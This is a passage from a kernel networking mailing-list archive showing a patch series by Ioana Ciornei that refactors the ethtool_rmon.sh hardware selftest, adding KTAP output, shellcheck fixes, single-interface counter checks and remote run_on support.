if [ "$current" -lt "$required" ]; then
- ip link set dev "$iface" mtu "$required" || return 1
+ run_on "$iface" ip link set dev "$iface" mtu "$required" \
+ || return 1
fi
}
@@ -52,15 +55,17 @@ bucket_test()
len=$((len - ETH_FCS_LEN))
len=$((len > 0 ? len : 0))
- before=$(ethtool --json -S "$iface" --groups rmon | \
+ before=$(run_on "$iface" ethtool --json -S "$iface" --groups rmon | \
jq -r ".[0].rmon[\"${set}-pktsNtoM\"][$bucket].val")
# Send 10k one way and 20k in the other, to detect counters
# mapped to the wrong direction
- "$MZ" "$neigh" -q -c "$num_rx" -p "$len" -a own -b bcast -d 10us
- "$MZ" "$iface" -q -c "$num_tx" -p "$len" -a own -b bcast -d 10us
+ run_on "$neigh" \
+ "$MZ" "$neigh" -q -c "$num_rx" -p "$len" -a own -b bcast -d 10us
+ run_on "$iface" \
+ "$MZ" "$iface" -q -c "$num_tx" -p "$len" -a own -b bcast -d 10us
- after=$(ethtool --json -S "$iface" --groups rmon | \
+ after=$(run_on "$iface" ethtool --json -S "$iface" --groups rmon | \
jq -r ".[0].rmon[\"${set}-pktsNtoM\"][$bucket].val")
delta=$((after - before))
@@ -95,7 +100,7 @@ rmon_histogram()
fi
ktap_test_pass "$TEST_NAME.$step"
nbuckets=$((nbuckets + 1))
- done < <(ethtool --json -S "$iface" --groups rmon | \
+ done < <(run_on "$iface" ethtool --json -S "$iface" --groups rmon | \
jq -r ".[0].rmon[\"${set}-pktsNtoM\"][]|[.low, .high]|@tsv" 2>/dev/null)
if [ "$nbuckets" -eq 0 ]; then
@@ -120,9 +125,8 @@ setup_prepare()
h2=${NETIFS[p2]}
for iface in "$h1" "$h2"; do
- netif_mtu["$iface"]=$(ip -j link show dev "$iface" | \
- jq -r '.[0].mtu')
- ip link set dev "$iface" up
+ netif_mtu["$iface"]=$(run_on "$iface" \
+ ip -j link show dev "$iface" | jq -r '.[0].mtu')
done
}
@@ -130,10 +134,10 @@ cleanup()
{
pre_cleanup
+ # Do not bring down the interfaces, just configure the initial MTU
for iface in "$h2" "$h1"; do
- ip link set dev "$iface" \
- mtu "${netif_mtu[$iface]}" \
- down
+ run_on "$iface" ip link set dev "$iface" \
+ mtu "${netif_mtu[$iface]}"
done
}
--
2.25.1
^ permalink raw reply related
* [PATCH net-next v5 7/9] selftests: drivers: hw: move to KTAP output
From: Ioana Ciornei @ 2026-03-30 15:29 UTC (permalink / raw)
To: netdev
Cc: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, linux-kernel, petrm, willemb,
linux-kselftest
In-Reply-To: <20260330152933.2195885-1-ioana.ciornei@nxp.com>
Update the ethtool_rmon.sh test so that it uses the KTAP format for its
output. This is achieved by using the helpers found in ktap_helpers.sh.
An example output can be found below.
$ ./ethtool_rmon.sh endpmac3 endpmac4
TAP version 13
1..14
ok 1 ethtool_rmon.rx-pkts64to64
ok 2 ethtool_rmon.rx-pkts65to127
ok 3 ethtool_rmon.rx-pkts128to255
ok 4 ethtool_rmon.rx-pkts256to511
ok 5 ethtool_rmon.rx-pkts512to1023
ok 6 ethtool_rmon.rx-pkts1024to1518
ok 7 ethtool_rmon.rx-pkts1519to10240
ok 8 ethtool_rmon.tx-pkts64to64
ok 9 ethtool_rmon.tx-pkts65to127
ok 10 ethtool_rmon.tx-pkts128to255
ok 11 ethtool_rmon.tx-pkts256to511
ok 12 ethtool_rmon.tx-pkts512to1023
ok 13 ethtool_rmon.tx-pkts1024to1518
ok 14 ethtool_rmon.tx-pkts1519to10240
# Totals: pass:14 fail:0 xfail:0 xpass:0 skip:0 error:0
Signed-off-by: Ioana Ciornei <ioana.ciornei@nxp.com>
Reviewed-by: Petr Machata <petrm@nvidia.com>
---
Changes in v5:
- none
Changes in v4:
- patch is added in this version so that ethtool_rmon.sh is converted to
KTAP output
.../selftests/drivers/net/hw/ethtool_rmon.sh | 24 ++++++++++++-------
1 file changed, 16 insertions(+), 8 deletions(-)
diff --git a/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh b/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
index f290ce1832f1..ed81bdc33536 100755
--- a/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
+++ b/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
@@ -11,10 +11,12 @@ ALL_TESTS="
NUM_NETIFS=2
lib_dir=$(dirname "$0")
source "$lib_dir"/../../../net/forwarding/lib.sh
+source "$lib_dir"/../../../kselftest/ktap_helpers.sh
UINT32_MAX=$((2**32 - 1))
ETH_FCS_LEN=4
ETH_HLEN=$((6+6+2))
+TEST_NAME=$(basename "$0" .sh)
declare -A netif_mtu
@@ -76,29 +78,28 @@ rmon_histogram()
local nbuckets=0
local step=
- RET=0
-
while read -r -a bucket; do
- step="$set-pkts${bucket[0]}to${bucket[1]} on $iface"
+ step="$set-pkts${bucket[0]}to${bucket[1]}"
for if in "$iface" "$neigh"; do
if ! ensure_mtu "$if" "${bucket[0]}"; then
- log_test_xfail "$if does not support the required MTU for $step"
+ ktap_print_msg "$if does not support the required MTU for $step"
+ ktap_test_xfail "$TEST_NAME.$step"
return
fi
done
if ! bucket_test "$iface" "$neigh" "$set" "$nbuckets" "${bucket[0]}"; then
- check_err 1 "$step failed"
+ ktap_test_fail "$TEST_NAME.$step"
return 1
fi
- log_test "$step"
+ ktap_test_pass "$TEST_NAME.$step"
nbuckets=$((nbuckets + 1))
done < <(ethtool --json -S "$iface" --groups rmon | \
jq -r ".[0].rmon[\"${set}-pktsNtoM\"][]|[.low, .high]|@tsv" 2>/dev/null)
if [ "$nbuckets" -eq 0 ]; then
- log_test_xfail "$iface does not support $set histogram counters"
+ ktap_print_msg "$iface does not support $set histogram counters"
return
fi
}
@@ -139,9 +140,16 @@ cleanup()
check_ethtool_counter_group_support
trap cleanup EXIT
+bucket_count=$(ethtool --json -S "${NETIFS[p1]}" --groups rmon | \
+ jq -r '.[0].rmon |
+ "\((."rx-pktsNtoM" | length) +
+ (."tx-pktsNtoM" | length))"')
+ktap_print_header
+ktap_set_plan "$bucket_count"
+
setup_prepare
setup_wait
tests_run
-exit "$EXIT_STATUS"
+ktap_finished
--
2.25.1
^ permalink raw reply related
* [PATCH net-next v5 6/9] selftests: drivers: hw: replace counter upper limit with UINT32_MAX in rmon test
From: Ioana Ciornei @ 2026-03-30 15:29 UTC (permalink / raw)
To: netdev
Cc: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, linux-kernel, petrm, willemb,
linux-kselftest
In-Reply-To: <20260330152933.2195885-1-ioana.ciornei@nxp.com>
The ethtool_rmon.sh script checks that the number of packets sent /
received during a test matches the expected value with a 1% tolerance.
Since in the next patches this test will gain the capability to also be
run on systems with a single interface where the traffic generator is
accesible through ssh, use the UINT32_MAX as the upper limit. This is
necessary since the same interface will be used also for control traffic
(the ssh commands) as well as the mausezahn generated one.
Signed-off-by: Ioana Ciornei <ioana.ciornei@nxp.com>
Reviewed-by: Petr Machata <petrm@nvidia.com>
---
Changes in v5:
- none
Changes in v4:
- none
Changes in v3:
- none
Changes in v2:
- patch is new
tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh b/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
index 80e75b9b40fd..f290ce1832f1 100755
--- a/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
+++ b/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
@@ -12,6 +12,7 @@ NUM_NETIFS=2
lib_dir=$(dirname "$0")
source "$lib_dir"/../../../net/forwarding/lib.sh
+UINT32_MAX=$((2**32 - 1))
ETH_FCS_LEN=4
ETH_HLEN=$((6+6+2))
@@ -64,8 +65,7 @@ bucket_test()
expected=$([ "$set" = rx ] && echo "$num_rx" || echo "$num_tx")
- # Allow some extra tolerance for other packets sent by the stack
- [ "$delta" -ge "$expected" ] && [ "$delta" -le $((expected + 100)) ]
+ [ "$delta" -ge "$expected" ] && [ "$delta" -le "$UINT32_MAX" ]
}
rmon_histogram()
--
2.25.1
^ permalink raw reply related
* [PATCH net-next v5 5/9] selftests: drivers: hw: test rmon counters only on first interface
From: Ioana Ciornei @ 2026-03-30 15:29 UTC (permalink / raw)
To: netdev
Cc: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, linux-kernel, petrm, willemb,
linux-kselftest
In-Reply-To: <20260330152933.2195885-1-ioana.ciornei@nxp.com>
The selftests in drivers/net are slowly transitioning to being able to
be used on systems with a single network interface. The first step for the
ethtool_rmon.sh test is to only validate that the rmon counters are
properly exported on the first interface supplied as an argument.
Remove the rmon_histogram calls which intend to test also the rmon
counters on the 2nd interface. This also removes the need for the remote
system, which should be used only to inject traffic, to also support
rmon counters.
Signed-off-by: Ioana Ciornei <ioana.ciornei@nxp.com>
Reviewed-by: Petr Machata <petrm@nvidia.com>
---
Changes in v5:
- none
Changes in v4:
- none
Changes in v3:
- none
Changes in v2:
- patch is new
tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh | 2 --
1 file changed, 2 deletions(-)
diff --git a/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh b/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
index 13b3760e3a40..80e75b9b40fd 100755
--- a/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
+++ b/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
@@ -106,13 +106,11 @@ rmon_histogram()
rmon_rx_histogram()
{
rmon_histogram "$h1" "$h2" rx
- rmon_histogram "$h2" "$h1" rx
}
rmon_tx_histogram()
{
rmon_histogram "$h1" "$h2" tx
- rmon_histogram "$h2" "$h1" tx
}
setup_prepare()
--
2.25.1
^ permalink raw reply related
* [PATCH net-next v5 4/9] selftests: drivers: hw: cleanup shellcheck warnings in the rmon test
From: Ioana Ciornei @ 2026-03-30 15:29 UTC (permalink / raw)
To: netdev
Cc: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, linux-kernel, petrm, willemb,
linux-kselftest
In-Reply-To: <20260330152933.2195885-1-ioana.ciornei@nxp.com>
If run on the ethtool_rmon.sh script, shellcheck generates a bunch of
false positive errors. Suppress those checks that generate them.
Also cleanup the remaining warnings by using double quoting around the
used variables.
Signed-off-by: Ioana Ciornei <ioana.ciornei@nxp.com>
Reviewed-by: Petr Machata <petrm@nvidia.com>
---
Changes in v5:
- none
Changes in v4:
- split one line to 80 chars
Changes in v3:
- none
Changes in v2:
- patch is new
.../selftests/drivers/net/hw/ethtool_rmon.sh | 54 ++++++++++---------
1 file changed, 29 insertions(+), 25 deletions(-)
diff --git a/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh b/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
index 8f60c1685ad4..13b3760e3a40 100755
--- a/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
+++ b/tools/testing/selftests/drivers/net/hw/ethtool_rmon.sh
@@ -1,5 +1,7 @@
#!/bin/bash
# SPDX-License-Identifier: GPL-2.0
+#shellcheck disable=SC2034 # SC does not see the global variables
+#shellcheck disable=SC2317,SC2329 # unused functions
ALL_TESTS="
rmon_rx_histogram
@@ -19,11 +21,12 @@ ensure_mtu()
{
local iface=$1; shift
local len=$1; shift
- local current=$(ip -j link show dev $iface | jq -r '.[0].mtu')
local required=$((len - ETH_HLEN - ETH_FCS_LEN))
+ local current
- if [ $current -lt $required ]; then
- ip link set dev $iface mtu $required || return 1
+ current=$(ip -j link show dev "$iface" | jq -r '.[0].mtu')
+ if [ "$current" -lt "$required" ]; then
+ ip link set dev "$iface" mtu "$required" || return 1
fi
}
@@ -46,23 +49,23 @@ bucket_test()
len=$((len - ETH_FCS_LEN))
len=$((len > 0 ? len : 0))
- before=$(ethtool --json -S $iface --groups rmon | \
+ before=$(ethtool --json -S "$iface" --groups rmon | \
jq -r ".[0].rmon[\"${set}-pktsNtoM\"][$bucket].val")
# Send 10k one way and 20k in the other, to detect counters
# mapped to the wrong direction
- $MZ $neigh -q -c $num_rx -p $len -a own -b bcast -d 10us
- $MZ $iface -q -c $num_tx -p $len -a own -b bcast -d 10us
+ "$MZ" "$neigh" -q -c "$num_rx" -p "$len" -a own -b bcast -d 10us
+ "$MZ" "$iface" -q -c "$num_tx" -p "$len" -a own -b bcast -d 10us
- after=$(ethtool --json -S $iface --groups rmon | \
+ after=$(ethtool --json -S "$iface" --groups rmon | \
jq -r ".[0].rmon[\"${set}-pktsNtoM\"][$bucket].val")
delta=$((after - before))
- expected=$([ $set = rx ] && echo $num_rx || echo $num_tx)
+ expected=$([ "$set" = rx ] && echo "$num_rx" || echo "$num_tx")
# Allow some extra tolerance for other packets sent by the stack
- [ $delta -ge $expected ] && [ $delta -le $((expected + 100)) ]
+ [ "$delta" -ge "$expected" ] && [ "$delta" -le $((expected + 100)) ]
}
rmon_histogram()
@@ -78,23 +81,23 @@ rmon_histogram()
while read -r -a bucket; do
step="$set-pkts${bucket[0]}to${bucket[1]} on $iface"
- for if in $iface $neigh; do
- if ! ensure_mtu $if ${bucket[0]}; then
+ for if in "$iface" "$neigh"; do
+ if ! ensure_mtu "$if" "${bucket[0]}"; then
log_test_xfail "$if does not support the required MTU for $step"
return
fi
done
- if ! bucket_test $iface $neigh $set $nbuckets ${bucket[0]}; then
+ if ! bucket_test "$iface" "$neigh" "$set" "$nbuckets" "${bucket[0]}"; then
check_err 1 "$step failed"
return 1
fi
log_test "$step"
nbuckets=$((nbuckets + 1))
- done < <(ethtool --json -S $iface --groups rmon | \
+ done < <(ethtool --json -S "$iface" --groups rmon | \
jq -r ".[0].rmon[\"${set}-pktsNtoM\"][]|[.low, .high]|@tsv" 2>/dev/null)
- if [ $nbuckets -eq 0 ]; then
+ if [ "$nbuckets" -eq 0 ]; then
log_test_xfail "$iface does not support $set histogram counters"
return
fi
@@ -102,14 +105,14 @@ rmon_histogram()
rmon_rx_histogram()
{
- rmon_histogram $h1 $h2 rx
- rmon_histogram $h2 $h1 rx
+ rmon_histogram "$h1" "$h2" rx
+ rmon_histogram "$h2" "$h1" rx
}
rmon_tx_histogram()
{
- rmon_histogram $h1 $h2 tx
- rmon_histogram $h2 $h1 tx
+ rmon_histogram "$h1" "$h2" tx
+ rmon_histogram "$h2" "$h1" tx
}
setup_prepare()
@@ -117,9 +120,10 @@ setup_prepare()
h1=${NETIFS[p1]}
h2=${NETIFS[p2]}
- for iface in $h1 $h2; do
- netif_mtu[$iface]=$(ip -j link show dev $iface | jq -r '.[0].mtu')
- ip link set dev $iface up
+ for iface in "$h1" "$h2"; do
+ netif_mtu["$iface"]=$(ip -j link show dev "$iface" | \
+ jq -r '.[0].mtu')
+ ip link set dev "$iface" up
done
}
@@ -127,9 +131,9 @@ cleanup()
{
pre_cleanup
- for iface in $h2 $h1; do
- ip link set dev $iface \
- mtu ${netif_mtu[$iface]} \
+ for iface in "$h2" "$h1"; do
+ ip link set dev "$iface" \
+ mtu "${netif_mtu[$iface]}" \
down
done
}
@@ -142,4 +146,4 @@ setup_wait
tests_run
-exit $EXIT_STATUS
+exit "$EXIT_STATUS"
--
2.25.1
^ permalink raw reply related
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox